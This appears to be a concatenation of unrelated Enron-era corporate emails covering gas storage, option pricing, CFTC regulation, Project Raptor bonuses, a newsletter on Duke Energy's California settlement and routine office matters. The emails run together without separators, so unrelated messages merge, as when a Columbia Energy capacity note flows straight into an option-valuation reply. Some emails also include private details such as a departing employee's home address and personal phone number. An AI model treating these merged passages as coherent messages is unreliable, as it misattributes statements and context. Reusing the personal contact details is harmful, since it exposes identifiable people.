jporte1@columbiaenergygroup.com on 03/16/2000 08:39:28 AM
To: Chris Germany/HOU/ECT@ECT, "        -         *Goodell, Scott" 
<BLOCK@columbiaenergygroup.com>
cc: "        -         *Kinney, Doug" <BLOCK@columbiaenergygroup.com> 
Subject: New SST Volumes for COH

Just a note that as of 4/1/00, CES' SST capacity on TCO will decrease. We have
submitted a request to COH for Storage Capacity and Transport (FSS & SST) for
the 00-01 season. COH should have the actual numbers late Friday, but I have
made a guesstimate below. You only get 50% of your Oct-Mar WD capacity for
Apr-Sep Inj, which could be around 50,000 dth/d. The numbers below are from
3/00, so 4/00 should be smaller, but I will forward to you as soon as I can.

John,

I think the crucial distinction is between recognition of risks and 
elimination of
risks through hedges (as correctly pointed out  in other messages). Being 
aware of risk
does not mean that one does not want to be compensated for it.

Now a few more detailed comments.

1. I think that illiquidity discount represents double counting when combined 
with 
a project finance discount rate. Illiquidity discount, in my view,
should be applied to financial options that trade in a market without 
sufficient depth.
One should apply a haircut if liquidating  a position takes a long time. The 
approach used in valuation
of the Turkish transaction is the same as approach used in valuation of 
investments in physical
assets, which are by definition illiquid. This illiquidity  is recognized 
through other aspects
of valuation technology used in RAROC. 

If we apply an illiquidity correction in this case, we should be consistent 
and use
this approach  across the board for all project finance type cases (not that 
I recommend this course of action).

2. Valuation of an unheadgable options.

Let's look at it from the position of a seller of the option.

He cannot hedge a short call or put and Black-Scholes valuation becomes the 
floor for
the valuation: the seller has to be compensated for taking a price risk (as 
opposed to taking a vol
risk when he hedges). The issue of the compensation he will require becomes 
fuzzy.
The option really becomes an insurance type product and pricing depends on 
two factors:

1. risk preference
2. existing portfolio positions

Risk preference. Insurance companies typically require a payment that 
consists of two parts:
expected loss + unexpected loss. The latter is typically defined as 1 to 2 
standard deviations.
The number of  standard deviations depends on risk appetite and the ability 
to absorb the loss.
I admit that it is a bit fuzzy, but this is the way the world works. We 
looked into insurance pricing at the
request of Jere Overdyke. You can talk to Vasant Shanbhogue to find out more 
about it.

Existing portfolio positions. An additional contract may increase or decrease 
the risk of the overall portfolio.
I would expect the deal to provide some risk diversification, but it does not 
look to me as a deal that reduces risk
(given all our positions in this region).

What are the practical implications? Pricing depends on risk appetite (the 
utility function of a decision maker
in technical jargon) and becomes to some degree arbitrary. 

If we are short an option embedded in a deal and the option cannot be hedged,
we should subtract from the value of the contract
the value of the option (that is greater than the Black - Scholes value).
If we don't price this option explicitly,
the valuation of a contract will be based on a discount rate with a risk 
premium.

In the case of an option buyer, the situation is reversed. If he cannot 
hedge, he should recognize the risk
of losing the value of his investment and apply a discount to the value of 
the option.
How big is the discount? See the comments above. 

In the special case, where hedging is possible and the Black-Scholes-Merton 
paradigm applies, both values
will become equal (ignoring transaction costs). The values of an option form 
the point of view of 
a seller and a buyer will converge.

3. What happens in case we use simulation technology?

We can discount at the risk free rate along each scenario (each scenario will 
recognize the downside and/or
upside at different points in time in different states of the world).
If we run a sufficient number of scenarios, we shall get a distribution of 
NPV as of today.
Knowing this distribution means that we can estimate risk, but in most cases 
we are still holding
it. The expected value should be, therefore, adjusted for risk. This is 
equivalent to using a 
discount rate with a risk premium.

I hope this helps. Please, call me with additional questions. Sorry for a 
delay in responding
to this question. I ran my response by Stinson and Vasant, to make sure we 
all agree.
It's a very complicated technical problem and the financial theory does not 
have
good answers.

Vince

---------------------- Forwarded by Elizabeth Sager/HOU/ECT on 02/28/2000 
10:10 AM ---------------------------

"Andy Katz" <AKatz@eei.org> on 02/28/2000 07:42:53 AM
Subject: Fwd: CFTC

Paul Pantano clarified my earlier email about the CFTC proposal.  Sorry for 
the confusion.

Andrew S. Katz, Senior Attorney

Received: from mail02-ord.pilot.net (mail-ord-2.pilot.net [205.243.174.16]) 
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From: ppantano@mwe.com
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To: akatz@eei.org
Message-ID: <86256893.0049C1F2.00@mwe.com>
Date: Mon, 28 Feb 2000 08:25:13 -0500
Subject: CFTC
Content-type: text/plain; charset=us-ascii

Dear Andy:

     I want to clarify a misunderstanding in your email to the group.  While 
it
is correct that the CFTC proposes to regulate commodities with exhaustible and
nearly inexhaustible supplies differently, it has not characterized power as
having an inexhaustible supply.  In fact, I would expect the CFTC to treat 
power
as having a finite supply at any given time.  This means, for example, that
power derivatives traded on a multilateral transaction execution facility 
would
not qualify for exemption from the Commodity Exchange Act under the current
proposal.  I think the EEI and other industry groups should consider 
attempting
to persuade the CFTC to exempt physical and derivative power contracts from
certain provisions of the CEA under the CFTC's proposal to consider exemptions
on a "case-by-case basis."  See, for example, the discussion of DTFs on pages 
9
and 10 of the proposal.  I hope this clarifies the CFTC's proposal.

     Regards, Paul

Paul J. Pantano, Jr.
McDermott, Will & Emery
(202) 756-8026

******************************************************************************
*******

This message is a PRIVATE communication.   If you are not the intended
recipient, please do not read, copy, or use it, and do not disclose it to
others.  Please notify the sender of the delivery error by replying to this
message, and then delete it from your system.  Thank you.
*******

Hey Debbie,

Just wanted to inform you that the volume at the Trevino Plant will be moved 
over to the Garza Plant (440-552) effective 5/17. The total volume is 5228 
and is expected to increase effective 5/18.  Please let me know if you have 
any questions. 

Ami
713/853-9272

You sold 70 shares of CIEN (Ciena Corp Com) at 85 1/8.

The tracking number for this order is: B-300-AAYS-9654
Order entered at:                      09:03:00 on 11/09/00
Order processing began at:             09:03:01
Order executed at:                     09:03:01 on 11/09/00

Time and Date: 09:03:01 on 11/09/00
Your position in CIEN is 0 shares
Your real cash total is $-2,318.08

Enron North America Legal
dperlin@enron
713-853-7658
713-646-3490 Fax

I'm working hard as usual.   I saw you call...don't start screaming yet...I 
had an IT guy and several other people at my desk at the time.   I saw Me, 
Myself, and Irene too.  It was pretty good as long as you're in the mood for 
stupid humor, which I was.  However the language and the "sons" got on my 
nerves.  Usually language doesn't bother me at all , but that was a little 
excessive.  Especially the marriage proposal!!  

Well I better get busy.  Bye.

We still need to go to lunch sometime.

RR

sure i do.  give me a ring when you can. i can't wait to talk to you

David , if this is going to cause you political flack with Mary Joyce lets 
just kill it - we have revised the original plan and this is probably not 
needed.

Regards
Delainey
---------------------- Forwarded by David W Delainey/HOU/ECT on 09/06/2000 
03:29 PM ---------------------------

09/05/2000 02:51 PM
To: David Oxley/HOU/ECT@ECT
cc: Cindy Olson/Corp/Enron@ENRON, Sheila Knudsen/Corp/Enron@ENRON, David W 
Delainey/HOU/ECT@ECT 
Subject: Re: ENA Comp suggestions for Project Raptor  

David,

  I need more information on the project and who exactly the individuals are 
who you feel should participate in this program.  Generally, developers and 
deal people throughout the company are not provided with additional incentive 
since this type of work is part of their job.  However, this project may be 
an exception.  Please call and lets discuss.

Thanks!

MAry

David Oxley@ECT
08/30/2000 09:21 AM
To: Cindy Olson/Corp/Enron@ENRON, Mary Joyce/HR/Corp/Enron@ENRON, Sheila 
Knudsen/Corp/Enron@ENRON
cc: David W Delainey/HOU/ECT@ECT 
Subject: ENA Comp suggestions for Project Raptor

I have been discussing with Dave Delainey how we might align the 
compensation/rewards for the group of 4 or 5 VP's and Directors we have 
assigned to disposing of our large portfolio ($650mm). The project is due to 
complete in June 01 and Dave and my concern is whether we can make sure they 
are motivated to close on time and get the best possible price for us. Dave 
believe the up side could be as much as $150mm and the downside as much as 
$300mm (the difference between best and worst prices/sales).

My suggestion is that we do the following and I would like your comments or 
concerns if any:

Enter into contracts or an agreement (the later would be one way - us to them 
and obviously easier) with each of them outlining the following:

Bonus targets based on financial targets and PRC performance for calendar 01 
(ie if you rank in top 3 categories and you realise over $650 from this 
project we will pay you not less than $300k)

Equity award on closing, on the basis of successful closure and above line 
value (ie only in the event that this closes in June 01 and realises more 
than $650mm we will grant you $200k in options, if above $800m then $350k in 
options.)

Dave would like for me to get back to him on this asap.

David

Jeff:
Here is an e-mail from the guys at Aquila, who will be at the Wheatland site 
on Thursday.  Let me know if you have any questions.  Thanks!
Ben
---------------------- Forwarded by Benjamin Rogers/HOU/ECT on 10/23/2000 
09:50 AM ---------------------------

"Smith, Dana" <DanSmith@utilicorp.com> on 10/23/2000 09:40:08 AM
To: "'Benjamin.Rogers@enron.com'" <Benjamin.Rogers@enron.com>
cc: "O'Brien, Barry" <BOBrien@utilicorp.com>, "Russell, Gene" 
<grussell@utilicorp.com>, "Ray Racine (E-mail)" <rfr@waldroneng.com>, 
"Calhoon, Kevin" <KCalhoon@utilicorp.com> 
Subject: RE: Wheatland and Gleason Facilities Visits

This is to confirm and update the schedule information relative to the
Wheatland Facility due diligence visit.

1.)  Persons Attending:
 Mr. Barry T. O'Brien, Aquila Energy Corporation, Vice President of
Technical Services
 Mr. Gene Russell, UtiliCorp United (AEC's parent), Director of
Environmental Services
 Mr. Ray Racine, Waldron Engineering, Inc., Technical Consultant
   Mr. Racine and Waldron Engineering, Inc. are
technical consultants to Aquila Energy Corporation; the firm and the
individual are obligated under a Confidentiality Agreement that extends to,
through, and including the provisions of the CA between Enron and AEC for
this matter.

2.)  The party will travel from Evansville on the morning of Thursday,
October 26.  Due to the travel time from Evansville, it will be necessary to
reschedule the commencement of the meeting at Wheatland to 9:00 AM.

3.)  If you have any questions or concerns regarding the Wheatland Visit,
please contact Mr. O'Brien.  Telephone: (816) 527-1789 or via e-mail:
BOBrien@utilicorp.com.

Regarding the Gleason Facility:
Please be advised that I will not be visiting the Gleason Facility on
Wednesday, October 25, as prevously scheduled.  You may consider this visit
cancelled.

H. Dana Smith
Aquila Energy / Merchant Energy Partners
1100 Walnut Street, Suite 3300
Kansas City, MO 64151
Direct Telephone: (816) 527-1137
Facsimile: (816) 527-1006
E-mail: dansmith@utilicorp.com

Attached is the approved invoice management procedure for REMEDIATION 
projects associated with EPSC operations (EOTT assets).  The procedure was 
developed to streamline the insurance recovery process.  If you have any 
questions please give me a call.  Also, please forward this to any 
individuals that may need access to the procedure.

Thanks, Bill
713.646.7644

This is a copy of your message sent to CuriousDSC@talkmatch.com -->

Hello,

I ran across you picture and found you to be very attractive, and after reading your "bio" I thought I'd drop you a line.  My name is Paul, I live on the north side of town and work downtown.  I noticed you work downtown? 
Anyway I'm sending you my profile, if there is any interest I'd love to hear from you!

Paul

Click the following link to view the sender's profile:
http://www.match.com/doubleblind/showprofile.asp?UserID=484948454C4B4E&trackingid=65685

The following is my profile text:

Hello, I'm a down to earth person that likes to laugh and have a good time. I work in downtown Denver as a commodities trader for a large energy trading house. I do enjoy my career but understand life needs to be kept in prospective and be balanced. I enjoy activities over sitting and watching, but I have been known to sit in front of the TV and watch football or college basketball all day. I'm looking for someone who enjoys life and doesn't take themselves too seriously. 

ADDITIONAL TIPS from Match.com:

Our anonymous re-mailer will strip away your real email address, so 
that it will NOT appear in the 'From:' line.

You may also contact this person from their Match.com profile by 
clicking 'Contact this person' and composing your message directly from the 
site.

However:

* Check to ensure that your email address is not in the BODY of your 
message as we are unable to remove these.

* Check to ensure that you REMOVE ANY AUTOMATIC SIGNATURE at the end of 

your email. And note that you cannot use 'Cc:' or 'Bcc:' if you want 
your email to remain anonymous.

Match.com does not monitor private email between members, nor are we 
liable for the content of these messages. All members are bound by our 
Match.com Service Agreement.

As a shareholder, I nominate you as the new CFO.  I think it will be easy to
gain support for that.

From: Parks, Joe [mailto:Joe.Parks@enron.com]
Sent: Monday, October 22, 2001 11:06 AM
To: Chet Fenner (E-mail)
Subject: 

swap you some options

Thank you. 

Please find attached the EGM Management Summary and Hot List as of 11/09.  
Please contact me if you have any questions/comments.  

Thanks,
Jeff

---------------------- Forwarded by Jeff Smith/HOU/ECT on 11/10/2000 03:23 PM 
   
	From:  Patricia Anderson                           11/10/2000 01:51 PM
	
To: Jeff Smith/HOU/ECT@ECT
cc:  
Subject: Mgmt Summary & Hot List

For distribution

Thanks,
Patricia

Keegan's Info

From: 	Farrell, Keegan  
Sent:	Monday, December 03, 2001 12:25 PM
To:	Farrell, Keegan; Boehnke, Karen; Griffin, Vanessa; Spencer, Becky; Adams, Suzanne; Heinitz, Mary J.; Truss, Stephanie; Gonzalez, Esmeralda; Shanks, Reginald; Martinez, MaryHelen; McNamara, Wyndel; Alfaro, Renee; Santos, Claudia; Perez, Claudia; Craft, Paula; Williams, Damon; Williams, Joya; Latson, Diane; Jaquet, Tammy; Mendez, Mayra; Rozycki, Joanne; Keiser, Holly; Zucha, Theresa; Perlingiere, Debra; Panus, Stephanie; Meraz, Claudia; George, Carolyn; Nemec, Gerald; Nelson, Cheryl; Boyd, Samantha
Subject:	Farewell

FYI, 

Today is my last day at Enron.  You have all been fabulous to know and work with.  I consider my life to be richer for knowing you all.  Today is the dawning of a new life for me.  I am very positive and feel that God will guide me into the Hope and Future He has for my life.  I thank you all for your friendship and will always cherish the memories we have made together.  I pray that you all have a bright outlook on your future and that you would be assured of the hope and future that awaits each of you.  Each of you have made a great contribution to my life.  I love you all.  Thank you for everything, especially the opportunity to know and work with you.  I will keep in touch.  Feel free to contact me any time!  My contact info is as follows; effective immediately I can be reached at:

1619 Sterling Drive
Baytown, TX 77520
281-383-2275
arteest777@yahoo.com

If I have inadvertently left someone off this list, please excuse my oversight and feel free to forward this info to them.  I am sure you will all understand that I am in a bit of a hurry.  Thanks again, and Happy Holidays!!!

This notice is to invite you to participate in a Bidders Conference offered
by the South Coast Electric Power Group (SCEPG).  The Bidders Conference
will be held on Thursday, September 27, 2001 beginning at 9:00 AM in the
Grand Ballroom at White's Regional Hospitality Center, Route 6, Westport,
MA.  You are invited to arrive at 8:30 AM for coffee and danish.

The SCEPG is made up of large users of electricity in the service areas of
the New Bedford Area Chamber of Commerce and Fall River Area Chamber of
Commerce.  As of today, nearly 30 companies and orgainizations representing
almost 300,000,000 KWH of annual use and more than 50,000 KVA Demand Peak
are participating in the SCEPG.  The group will likely grow by the date of
the Bidders Conference.

At the Bidders Conference, you will receive an RFP inviting you to bid on
SCEPG members electricity needs.  Every SCEPG member will have a
representative at the Bidders Conference to sign your release forms to
obtain account information from their respective utilities.  They have been
instructed to bring a complete listing of all of their accounts and service
addresses, which can be attached to your release forms.

Please bring a minimum of 50 of your release forms.

Please confirm your planned attendance at the Bidders Conference via return
email to jmathes@nbchamber.com

Thank you.

Jim Mathes, President
New Bedford Area Chamber of Commerce

Today's IssueAlert Sponsors: 

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May 7, 2001

California Update: Duke Energy Proposes Settlement Deal 

By Will McNamara
Director, Electric Industry Analysis 

[IMAGE][IMAGE]Duke Energy (NYSE: DUK) approached Calif. Gov. Gray Davis with 
a secret deal, now made public, that offered monetary concessions if the 
state drops lawsuits and investigations into the company's alleged price 
gouging. Duke made the offer in a secret 17-page letter sent in April to Gov. 
Davis' office, which the governor confirmed on May 2. Davis' spokesman called 
the letter Duke's "wish list," which included having the state call off 
investigations of the North Carolina-based generator. Although Gov. Davis has 
acknowledged receipt of the proposal, he has not officially accepted or 
rejected the offer. 

Analysis: Duke's desire to make a settlement with the state of California 
stems from an ongoing investigation by FERC that began back in March. At that 
time, FERC put 13 California power sellers, including Duke, on notice that 
they must either make refunds for certain power sales or provide further 
justification for their prices. Duke is considered to be one of four 
companies (along with Dynegy, Reliant and Williams) that faces the biggest 
potential refunds to the state of California. In fact, Duke reportedly faces 
potential refunds of up to $20 million for the power that it has sold to 
California since the start of this year. 

We can fast forward from FERC's investigation to Duke's "good faith" 
settlement offer that now sits before Gov. Gray Davis. The plan sets out 
specific action steps for new generation, conservation programs, electric and 
gas infrastructure improvements, regional transmission frameworks, and 
environmental goals. In addition, Duke has offered an undisclosed settlement 
agreement, for which the California government would agree to cease all 
ongoing investigations of price manipulation by the company. Duke's 
"appropriate payment" is based on fair estimate of the company's alleged 
overcharges for power that it sold to the state.  

Yet, beyond the spin control surrounding this offer, Duke's proposal amounts 
to a mutual back-scratching agreement, with Duke clearly obtaining the 
largest benefit. Duke wants the state to drop all pending lawsuits that 
allege price gouging and tone down the negative public comments against Duke 
made by the governor and others. In return, Duke will refund to the state 
some of the money that it allegedly owes and will further assist in helping 
the state with its power supply needs. However, under the offer Duke will 
admit no wrongdoing. Rather, the company's proposal is being presented as an 
altruistic effort to assist in the resolution of California's flawed market. 
Neither Duke nor Gov. Davis has disclosed the monetary amount of Duke's 
settlement offer, but it is fairly safe to assume that it is only a fraction 
of the $20 million that the state wants. 

Other specifics within Duke's proposal that are important to note include the 
company's "commitment to work with the state to get 680 MW of additional 
peaking capacity ready for summer 2002." In addition, Duke has offered to 
enter into long-term contracts with the state on "reasonable terms" and also 
"attempt to secure other reasonably priced electricity for the state." 
Perhaps eliciting the greatest response within the industry is Duke's pledge 
to "share the financial pain" of California's troubled market with other 
market participants. 

Presently, Duke supplies about 5 percent of California's power needs, the 
majority of which is based on long-term contracts. This is a significant 
point because Duke has argued that its participation in the California market 
is not as entrenched in the volatile spot market, in contrast to many of the 
other power suppliers under FERC's investigation. The company also owns the 
Moss Landing plant, located south of San Jose, Calif., which it is upgrading 
with a $500 million investment. Duke has established that the plant should be 
able to provide approximately 30 percent of California's new generation in 
2002.  

While Duke downplays the role that California has played in its profits, the 
company's total wholesale profits soared 374 percent to $744 million for 
year-end 2000. For the year, Duke's California power plants generated 70 
percent more electricity than they did in 1999. In addition, in 2000 the 
plants provided 17 million megawatt hours of electricity to the state's power 
grid versus 9.5 million the previous year. 

Further, in January and February 2001, Duke charged more for power through 
"credit premiums," which were levied because of the risk of non-payment 
associated with California's financially struggling utilities. Duke claims 
that it is still owed about $100 million by the Department of Water 
Resources, California's power purchaser. 

Duke is not the only company forging settlement contracts with California. On 
May 2, Tulsa-based Williams Co. (also one of the top four companies 
reportedly owing the most to California) announced that it has agreed to pay 
$8 million to the California ISO to end FERC's investigation into whether the 
company's plants were kept offline to drive up prices. For several months, 
FERC has been investigating Williams regarding the company's alleged shutdown 
of two power generation units owned by AES, which reportedly allowed Williams 
to sell power from other units at higher prices. The stipulation and consent 
agreement reached between Williams and FERC identified no improprieties. In 
other words, Williams has made the payment but has admitted to no wrongdoing 
or price manipulation. A Williams spokesperson has said that the $8 million 
will be deducted from the $252 million that Williams is still owed for power 
sales to the California ISO and the California PX.  

Much like Duke, Williams has reported stellar profits over the last year. For 
year-end 2000, the company reported unaudited income from continuing 
operations of $873.2 million, or $1.95 per share on a diluted basis, versus 
$178 million, or 40 cents per share on a restated basis, for 1999. In 
addition, the company reported 1Q 2001 unaudited results that were more than 
double that of 1Q 2000-$378 million, or 78 cents per share, compared with a 
restated $139 million, or 31 cents per share.  

Moreover, the offers that Williams and Duke are forging with the state of 
California are probably only a small portion of what both companies have made 
from power sales to the state. However, one benefit of the deals is that they 
would keep the parties out of years of expensive litigation. Yet, at least as 
of this writing, Gov. Davis remains less than enthused about Duke's offer and 
has not eased off from his accusation that Duke (along with the other power 
generators) has "bilked millions of dollars from California consumers." In 
fact, although the governor has said that he is willing to continue 
negotiations with the various power generators, he has also vowed "not to 
call off the dogs" in the state and federal investigation of any price 
gouging. Toward that end, the state's lieutenant governor has initiated a 
class-action suit on behalf of California consumers against Duke and other 
power generators accused of price fixing. This legal claim follows similar 
suits initiated by the city of San Francisco and lawyers in San Diego. All of 
the suits basically claim the same thing, that Duke and four other power 
generators engaged in unlawful trading practices-such as shutting down 
plants-to drive up market prices in California.  

Duke, of course, maintains its innocence and says that the new lawsuit merely 
makes the same old claim that the company has repeatedly denied. 
Nevertheless, Duke has made a monetary offer to the state of California, 
which could be driven merely by the desire to avoid lengthy legal proceedings 
or by a concern that some wrongdoing on the company's part could eventually 
be determined. The stakes have also been raised with some California 
attorneys suggesting that any generators found to have engaged in price 
gouging should face civil and criminal penalties, which could include 
incarceration for any executive at the company who knowingly allowed the 
price manipulation to take place. Consequently, despite Duke's offer and any 
other proposals that subsequently come from power generators, it appears that 
litigation over the price gouging matter is unavoidable. 

www.scientech.com

[IMAGE]
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SCIENTECH is pleased to provide you with your free,  daily IssueAlert. Let us 
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If you no longer wish to receive this daily email, send a message to 
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SCIENTECH's IssueAlerts(SM) are compiled based on the  independent analysis 
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are not intended to predict financial performance  of companies discussed, or 
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regarding the key events occurring in the  energy industry, based on its 
long-standing reputation as an expert on  energy issues.  

no ican't do that.

how about my 4 and 7 for your 2

"Bass, Jason" <Jason.Bass2@COMPAQ.com> on 08/14/2000 11:47:11 AM
To: "'Eric.Bass@enron.com'" <Eric.Bass@enron.com>
cc:  
Subject: RE: Redraw?

I won't be able to do that

How about your 3 and 5 for my 2 and 8.

Jason Bass
TSE
Compaq Computer Corporation

From:  Eric.Bass@enron.com [mailto:Eric.Bass@enron.com]
Sent: Monday, August 14, 2000 11:46 AM
To: Bass, Jason

in order to counter offer, you must have had an offer.  if you remember,
you offered me a lesser trade than that already

my counter offer is 4,7,10 for your 2, 8

"Bass, Jason" <Jason.Bass2@COMPAQ.com> on 08/14/2000 11:13:52 AM

To:   "'Eric Bass'" <Eric.Bass@enron.com>
cc:
Subject:  RE: Redraw?

Eric,

I have done some investigating and here is the counter offer I am willing
to
do.

I will trade you my 2 and 14 for you 3 and 5.  Let me know what you want to
do.

Ramiro would like to trade you his 13 for your 15 and 16.

Jason Bass
TSE

From:     Eric Bass [mailto:Eric.Bass@enron.com]
Sent:     Monday, August 14, 2000 8:21 AM
To:  Bass, Jason; Phillip M Love; Bryan Hull; David Baumbach;
lqcolombo@aol.com; Michael Walters; Matthew Lenhart; Harry Bucalo; Gary W
Lamphier; Steve Venturatos
Subject:  Redraw?

I am taking a vote on if we need to redraw the draft order.  Some, have
said
that it is not fair for Steve to be handed the 6th slot.  Let me know what
you
think.

-Eric

Start Date: 12/11/01; HourAhead hour: 14;  No ancillary schedules awarded.  Variances detected.
Variances detected in Load schedule. 

PARSING FILE -->> O:\Portland\WestDesk\California Scheduling\ISO Final Schedules\2001121114.txt

     Details: (Hour: 14 / Preferred: 589.02 / Final: 589.02)
  LOAD_ID: PGE3
  TRANS_DATE: 12/11/01

In connection with the attached, please note the highlighted language at the 
end of the document.  We couldn't decide what it means, so it needs to be 
re-written or deleted.

The party we are contracting with is Virginia Power, not NC Power. If we 
misstated this previously, we would like to clear it up now.

Thank you,

Kay Mann
---------------------- Forwarded by Kay Mann/Corp/Enron on 09/27/2000 11:18 

Reagan Rorschach
09/27/2000 11:13 AM
To: Kay Mann/Corp/Enron@Enron, John Moore/Corp/Enron@Enron
cc:  

Subject: Rebuttal Testimony

Please review and forward to Mary Lynn Griggs at Kilpatric and Stockton.  
mgrigg@kilstock.com

Thanks,

Reagan

Attached is a redline and clean version of the revised confirm.  Please 
disregard prior version of the confirm.  The changes reflect the new 
Precedent Agreement with Trailblazer.

 - 02_1.jpg 
 - 02_2.jpg 
 - 02_3.jpg 
 - 02_4.jpg 
 - 02_5.jpg 
 - 02_6.jpg 
 - 02_7.jpg 

Tana:
Here is the Enron Guaranty that we have reached agreement on and Clem has 
approved.  Please have it signed and sent to our contact at BNP Paribas.  
Thanks.

EB 3889

Hopefully you will get some credit for it, also.

I just love Lisa.  I think she's a ton of fun.

From: Suzanne Adams@ECT on 02/12/2001 01:37 PM
cc:  

Subject: Re: Jury duty  

I will just put you out all day as jury duty.  I haven't been called in a few 
years, I'm sure my time is coming.

We had an assistants staff meeting today at lunch.  Lisa Mellencamp will be 
doing the law conference in October, and I will be helping.  You know we will 
have a good time!

	02/12/2001 01:36 PM
		
		 cc: 
		 Subject: Re: Jury duty

Duty is actually in the afternoon, but I think I will spend the morning 
getting mentally prepared at home. 

ckm

Here are my suggestions for EBS.  Please let me know if you need any 
additional information.

Sue Nord, Sr. Director
713 345-4196

Just to clarify...the report can be found at O:\CurveValidation\Estate Reporting\Gas\Position Roll-off report. 

Thanks,
Mike

From: 	Barone, Michael  
Sent:	Thursday, February 21, 2002 11:46 AM
To:	Barone, Michael; Ruscitti, Kevin; Plachy, Denver; Lewis, Andrew H.; Cuilla, Martin; Mckay, Brad; Mckay, Jonathan; Brawner, Sandra F.; Parks, Joe; Denetsosie, Troy; Scott, Susan M.; Bass, Eric; Considine, Keith; Gronningsater, Eric; Bowler, Tim; Smith, Mark Allan; 'eric.gronningsater@us.pwcglobal.com'; 'mark.allan.smith@us.pwcglobal.com'; Kelly, Katherine L.
Subject:	Location of Curve Roll-off report

We would like to inform everyone that PwC has created a comprehensive position report with data obtained from the gas mid-office.The report checks gas curve positions each Friday from 11-30-01 to 2-1-02 (ten periods). It will tell you the first start date and the last end date of positions on each curve we are reviewing.

Thanks again for all of your help.

Regards,
Michael Barone and Tim Bowler
PricewaterhouseCoopers

---------------------- Forwarded by Vince J Kaminski/HOU/ECT on 10/10/2000 
03:23 PM ---------------------------
From: Kevin Garland@ENRON COMMUNICATIONS on 10/10/2000 01:06 PM
To: Richard Reichardt/Enron Communications@Enron Communications
cc: Ken Rice/Enron Communications@Enron Communications, Larry Lawyer/Enron 
Communications@Enron Communications, Mike McConnell/HOU/ECT@ECT, Richard 
DiMichele/Enron Communications@Enron Communications, Tom Gros/Enron 
Communications@Enron Communications, Vince J Kaminski/HOU/ECT@ECT, Jon 
Adler/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT 
Subject: Re: Seismic Data on Oil & Gas field Development via Satellite  

There may be a business opportunity with this company, but I would not advise 
making an investment.
Kevin Garland

	Richard Reichardt
	10/10/00 12:30 PM
		 
		 To: Mike McConnell/HOU/ECT@ECT
		 cc: Larry Lawyer/Enron Communications@Enron Communications, Tom Gros/Enron 
Communications@Enron Communications, Vince J Kaminski/HOU/ECT@ECT, Kevin 
Garland/Enron Communications@Enron Communications, Richard DiMichele/Enron 
Communications@Enron Communications, Ken Rice/Enron Communications@Enron 
		 Subject: Seismic Data on Oil & Gas field Development via Satellite

Mike,

Using NASA satellite transmission of maritime data and establishing a Houston 
Data Center to consolidate and centrally process 3D seismic data surveys for 
oil and gas extraction, exploration and development could save the petroleum 
industry more than $300 million dollars annually through reduced operational 
expenses.  Added value in shortening the time to process and deliver the 
finished surveys should generate more than $26 million per site (based upon 
$15/barrel for average oil well production to market 30 days sooner)in 
revenue.  By re-selling this data to market analysts or by internally using 
this data for forecasting future oil/gas production Enron could increase the 
accuracy of forecasting reserves and production capabilities globally.  By 
holding the data as exclusive (or partially exclusive), Enron would have a 
significant market advantage in futures pricing for oil and gas.(Vince's team 
is quantifying the valuation of this information)

Attached please find an updated version of the business case for seismic data 
transfer via satellite, by a geophysicist at SpaceData - William K. Aylor, 
calculated using $22/barrel oil.

Based upon your availability, Jon Adler and I would like to make a 
presentation to you (or your designated representative) on the Enron 
potential of this opportunity, sometime next week (17-20 October).

 - SDT Business Case4.pdf

V.R.,

Richard Reichardt
(713)-345-8377 (Office)
(713)-907-3767 (Mobile)
1400 Smith Street, Suite EB 4364 

A position has become available on the Structuring Desk reporting to Elliot 
Mainzer.

As a Power Structurer,  you will be responsible for the following duties:

Perform pricing of power purchase/sales transactions, including swaps, 
options, swaptions and embedded loans
Provide financial analysis of Origination transactions, including power plant 
development efforts, contract monetizations and long-dated commodity 
transactions.
Work with Enron's Credit, RAROC, and Risk groups to qualify and quantify 
risks inherent in transactions.
Maintain a weekly pricing sheet to monitor changes in forward curves.
Work with Trading to track changes in new-build economics and power price 
fundamentals.
Create Excel-based models of innovative transactions such as cross-commodity 
swaps and weather products.
Provide transaction structure feedback to middle marketers and originators.
Various other duties as assigned.

A strong background in Excel, basic financial statement analysis skills and 
familiarity with option pricing theory are not absolute pre-requisites, but 
are preferred.

If you have any questions about the role or would like more information, 
please see or call Elliot Mainzer.  If you are interested in this position, 
please submit your name to me no later than the close of business on Tuesday, 
February 20th. 

.

ok to pay
From: enron_update@concureworkplace.com
[mailto:enron_update@concureworkplace.com]
Sent: Monday, December 03, 2001 10:45 AM
To: David Delainey
Subject: <<Concur Expense Document>> - Kay Chapman expenses 12/3/01

Employee Name: Charlotte K. Chapman
Expense Report Name: Kay Chapman expenses 12/3/01
Report Total: $134.46
Amount Due Employee: $134.46

Electric Business Understanding - May 2, 2001

EB552 - 8:00 am - 5:00 pm          Cost:  $600.00

The Electric Business Understanding Seminar will give a basic overview of the 
electric business for those with limited knowledge of this industry. This 
seminar is recommended for entry level to mid-level employees in either the 
gas or electric business or in businesses providing services to these 
industries. This course will provide you with a general understanding of how 
the electric business operates, who the key industry participants are, the 
strategies they employ to be successful, and how the business is likely to 
evolve. 
Please click here for registration  
http://www.corptraining.com/index.cfm?company=enron.  If you have any 
questions, please call 713 853-0357.

Can we make sure we set up that appointment today?  Let me know.

my last trip was planned a day in advance.  I promise to give you more notice 
next time.  I expect I'll be in CA a LOT next year with all the activity 
going on out there.  You'll have a chance to buy me at least one meal.

Sally's internal address is:  EB 3389

Temporary fax # is 713-646-8029

Patti x39106
(Sally's Assistant)

Albernita Travis@ENRON
08/29/2000 12:29 PM
cc:  
Subject: AirCard 300

Hi Sally -

My name is Albernita, in the Software Licensing department.  A couple of 
weeks ago the above mentioned Aircard was requested for you. 

I will need to send you a GTE Contract to get your aircard activated.  Would 
you please provide me with your Internal mailing address and Fax number asap.

If you have any questions, please feel free to contact me.

Thank you!

Albernita Travis
Enron Corporation - I. T. Department
713-345-6255

Attached you will find the CPUC audit of SCE.

 - Cover.pdf
 - SCE File.pdf

I don't have it.

From: Suzanne Adams@ECT on 11/07/2000 09:50 AM
cc:  

Subject: Re: FCEL consent to disclosure letter  

Do you have a copy of an itinerary for me or have you already sent it?  I'll 
print this as soon as Dan's job is finished.  I'll take care of the rest.

	11/07/2000 09:48 AM
		 
		 cc: 
		 Subject: FCEL consent to disclosure letter

Please print the attached on letterhead.

I'm leaving for Connecticut shortly, and will be back in the office on 
Thursday (or so I exepct).  Please handle the following

Call David Runnels at A & K and tell him thanks, but I can't use the opera 
tickets this weekend.

Cancel my RSVP for Carrin Patman's lunch tomorrow.

Thanks,

Kay
---------------------- Forwarded by Kay Mann/Corp/Enron on 11/07/2000 09:46 

Kay Mann
11/03/2000 04:52 PM
To: jeff.ader@enron.com, heather.kroll@enron.com
cc:  

